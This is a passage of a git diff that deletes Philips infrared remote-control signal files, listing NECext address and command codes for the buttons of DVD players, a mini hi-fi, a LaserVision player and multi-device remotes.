-name: System_Menu -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 82 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 85 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D5 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_DVD711/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_DVD711/4,-1.ir deleted file mode 100644 index 7f4bb08c7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_DVD711/4,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: Off -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: Shuffle -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: First -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 31 00 00 00 -# -name: RepeatA-B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3B 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4B 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4E 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 85 00 00 00 -# -name: T-C -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C8 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_DVP-5982/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_DVP-5982/4,-1.ir deleted file mode 100644 index 0ca74da49..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_DVP-5982/4,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2C 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 31 00 00 00 -# -name: Repeat_A-B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3B 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4B 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4E 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: USB -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C7 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D1 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_DVP-642/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_DVP-642/4,-1.ir deleted file mode 100644 index e16ffacee..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_DVP-642/4,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0D 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: Reverse -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 31 00 00 00 -# -name: RepeatAB -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3B 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4B 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4E 00 00 00 -# -name: DiskMenu -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: SystemMenu -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 82 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 85 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D5 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_FW2104/134,83.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_FW2104/134,83.ir deleted file mode 100644 index 5331d371b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_FW2104/134,83.ir +++ /dev/null @@ -1,296 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 01 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 02 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 03 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 04 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 05 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 07 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 08 00 00 00 -# -name: TUN_UP -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 09 00 00 00 -# -name: TUN_DOWN -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 0A 00 00 00 -# -name: SNOOZE -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 0B 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 0C 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 0D 00 00 00 -# -name: REP_A_B -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 13 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 14 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 15 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 16 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 17 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 18 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 19 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 1A 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 1B 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 1C 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 1D 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 1E 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 1F 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 40 00 00 00 -# -name: CD_PLAY -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 41 00 00 00 -# -name: CD_STOP -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 42 00 00 00 -# -name: CD_FW -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 43 00 00 00 -# -name: CD_REW -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 44 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 45 00 00 00 -# -name: REP_ALL_PRG -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 46 00 00 00 -# -name: INTRO -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 47 00 00 00 -# -name: KEY_EDIT -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 48 00 00 00 -# -name: WARP -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 49 00 00 00 -# -name: KEY_SPACE -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 4A 00 00 00 -# -name: CHAIN -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 4B 00 00 00 -# -name: PAUSE_RECORD -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 50 00 00 00 -# -name: TAPE2_PLAY -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 51 00 00 00 -# -name: TAPE2_BACKPLAY -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 52 00 00 00 -# -name: TAPE2_FW -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 53 00 00 00 -# -name: TAPE2_REW -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 54 00 00 00 -# -name: TAPE2_STOP -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 55 00 00 00 -# -name: TAPE1_PLAY -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 58 00 00 00 -# -name: TAPE1_BACKPLAY -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 59 00 00 00 -# -name: TAPE1_FW -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 5A 00 00 00 -# -name: TAPE1_REW -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 5B 00 00 00 -# -name: TAPE1_STOP -type: parsed -protocol: NECext -address: 86 53 00 00 -command: 5C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_LV2/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_LV2/20,-1.ir deleted file mode 100644 index 6baf329d1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_LV2/20,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0B 00 00 00 -# -name: REVIEW -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0F 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1C 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: PREV_TRACK -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 22 00 00 00 -# -name: PREV_INDEX -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 23 00 00 00 -# -name: DIRECT_PR/PLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 24 00 00 00 -# -name: KEY_S -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 29 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2B 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2D 00 00 00 -# -name: FAST -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2F 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 31 00 00 00 -# -name: SEARCH_BACKW -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 32 00 00 00 -# -name: SEARCH_FORW -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 -# -name: A/B -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3B 00 00 00 -# -name: FTS -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 6C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/0,-1.ir deleted file mode 100644 index e4f0be38b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/0,-1.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: A/V -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: TEXT_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/5,-1.ir deleted file mode 100644 index 4232ab739..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/5,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0A 00 00 00 -# -name: A/V -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0B 00 00 00 -# -name: KEY_2- -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 25 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 26 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/6,-1.ir deleted file mode 100644 index 238f760d7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/6,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 09 00 00 00 -# -name: -/-- -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0A 00 00 00 -# -name: 2- -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0B 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0D 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 10 00 00 00 -# -name: VOL_DOWN -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 11 00 00 00 -# -name: CH_UP -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 20 00 00 00 -# -name: CH_DOWN -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 21 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 2C 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 2E 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 36 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_PHDVD5/26,154.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_PHDVD5/26,154.ir deleted file mode 100644 index dca856e1c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_PHDVD5/26,154.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 09 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 0B 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 0B 00 00 00 -# 